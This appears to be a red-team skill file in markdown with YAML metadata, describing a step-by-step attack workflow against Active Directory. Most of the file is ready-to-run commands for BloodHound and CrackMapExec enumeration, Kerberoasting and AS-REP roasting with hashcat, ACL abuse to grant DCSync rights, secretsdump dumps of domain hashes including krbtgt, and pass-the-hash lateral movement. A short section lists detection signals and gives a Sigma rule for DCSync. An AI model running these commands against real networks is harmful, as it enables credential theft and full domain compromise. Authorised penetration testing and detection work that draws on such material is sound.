<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: performing-active-directory-attacks
description: >-
  Enumerate and exploit Active Directory environments. Covers BloodHound
  collection, ACL abuse, credential harvesting, lateral movement, and
  domain privilege escalation.
domain: cybersecurity
subdomain: red-team
tags:
  - active-directory
  - bloodhound
  - kerberos
  - lateral-movement
  - privilege-escalation
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1087.002", "T1069.002", "T1558.003", "T1078.002"]
  tools: ["bloodhound", "impacket", "crackmapexec", "rubeus", "ldapdomaindump"]
---

# Performing Active Directory Attacks

## Overview

Active Directory (AD) is the backbone of most enterprise Windows environments.
Misconfigurations in ACLs, delegation, group policies, and trust relationships
create attack paths from low-privilege domain user to Domain Admin.

## Prerequisites

- Domain-joined machine or network access to DC (TCP 389/636/88/445)
- Valid domain credentials (even low-privilege)
- Impacket (`pip install impacket`)
- BloodHound + SharpHound or bloodhound-python

```bash
pip install impacket bloodhound
```

## Key Concepts

### Attack Path Categories

| Category | Description |
|----------|-------------|
| ACL Abuse | WriteDACL, GenericAll, ForceChangePassword |
| Kerberoasting | Crack service account TGS tickets offline |
| AS-REP Roasting | Crack accounts with no pre-auth |
| DCSync | Replicate credentials via DRSUAPI |
| GPO Abuse | Modify Group Policy for code execution |
| Delegation Abuse | Constrained/unconstrained delegation |

### Common AD Objects

| Object | Relevance |
|--------|-----------|
| Domain Admins | Ultimate target group |
| krbtgt | Account whose hash enables Golden Tickets |
| GMSA | Group Managed Service Accounts — password in AD |
| AdminSDHolder | Protected accounts template |

## Workflow

### Step 1: Enumerate with BloodHound

```bash
bloodhound-python -u user -p 'Pass123' -d corp.local -c All -ns 10.10.10.1
# Import JSON files into BloodHound GUI

# SharpHound from Windows
SharpHound.exe -c All --outputdirectory C:\temp
```

### Step 2: Enumerate with CrackMapExec

```bash
crackmapexec smb 10.10.10.0/24 -u user -p 'Pass123' --shares
crackmapexec smb 10.10.10.1 -u user -p 'Pass123' --users
crackmapexec smb 10.10.10.1 -u user -p 'Pass123' --pass-pol
crackmapexec ldap 10.10.10.1 -u user -p 'Pass123' --asreproast output.txt
```

### Step 3: Kerberoasting

```bash
# Impacket
GetUserSPNs.py corp.local/user:'Pass123' -dc-ip 10.10.10.1 -request -outputfile tgs.txt

# Crack with hashcat
hashcat -m 13100 tgs.txt rockyou.txt --force
```

### Step 4: AS-REP Roasting

```bash
GetNPUsers.py corp.local/ -usersfile users.txt -dc-ip 10.10.10.1 -format hashcat -outputfile asrep.txt
hashcat -m 18200 asrep.txt rockyou.txt --force
```

### Step 5: ACL Abuse

```bash
# GenericAll on user — force password change
net rpc password "targetuser" "NewPass123!" -U 'corp.local/attacker%Pass123' -S 10.10.10.1

# WriteDACL — grant DCSync rights
dacledit.py -action write -rights DCSync -principal attacker -target 'corp.local' corp.local/attacker:'Pass123'
```

### Step 6: DCSync

```bash
secretsdump.py corp.local/admin:'AdminPass'@10.10.10.1 -just-dc-ntlm
secretsdump.py corp.local/admin:'AdminPass'@10.10.10.1 -just-dc-user krbtgt
```

### Step 7: Lateral Movement

```bash
# Pass-the-Hash
psexec.py -hashes :aad3b435b51404eeaad3b435b51404ee corp.local/admin@10.10.10.5
wmiexec.py -hashes :ntlmhash corp.local/admin@10.10.10.5

# Evil-WinRM
evil-winrm -i 10.10.10.5 -u admin -H ntlmhash
```

## Detection Opportunities

| Signal | Source | Description |
|--------|--------|-------------|
| Event 4769 | DC Security | Kerberoasting — RC4 TGS requests |
| Event 4768 | DC Security | AS-REP — pre-auth disabled requests |
| Event 4662 | DC Security | DCSync — DRSUAPI replication |
| LDAP queries | DC Debug | BloodHound enumeration patterns |

```yaml
title: Potential DCSync Attack
id: a1b2c3d4-5e6f-7890-abcd-ef1234567890
status: experimental
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4662
    AccessMask: "0x100"
    Properties|contains:
      - "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"
      - "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2"
  condition: selection
falsepositives:
  - Legitimate domain controller replication
level: critical
tags:
  - attack.t1003.006
  - attack.credential_access
```

## Verification

- [ ] Domain enumerated via BloodHound
- [ ] Attack paths identified and exploited
- [ ] Credentials harvested (Kerberoast/AS-REP/DCSync)
- [ ] Lateral movement achieved
- [ ] Detection artifacts documented

## References

- [BloodHound](https://github.com/BloodHoundAD/BloodHound)
- [Impacket](https://github.com/fortra/impacket)
- [MITRE T1087.002](https://attack.mitre.org/techniques/T1087/002/)
- [HackTricks AD](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology)
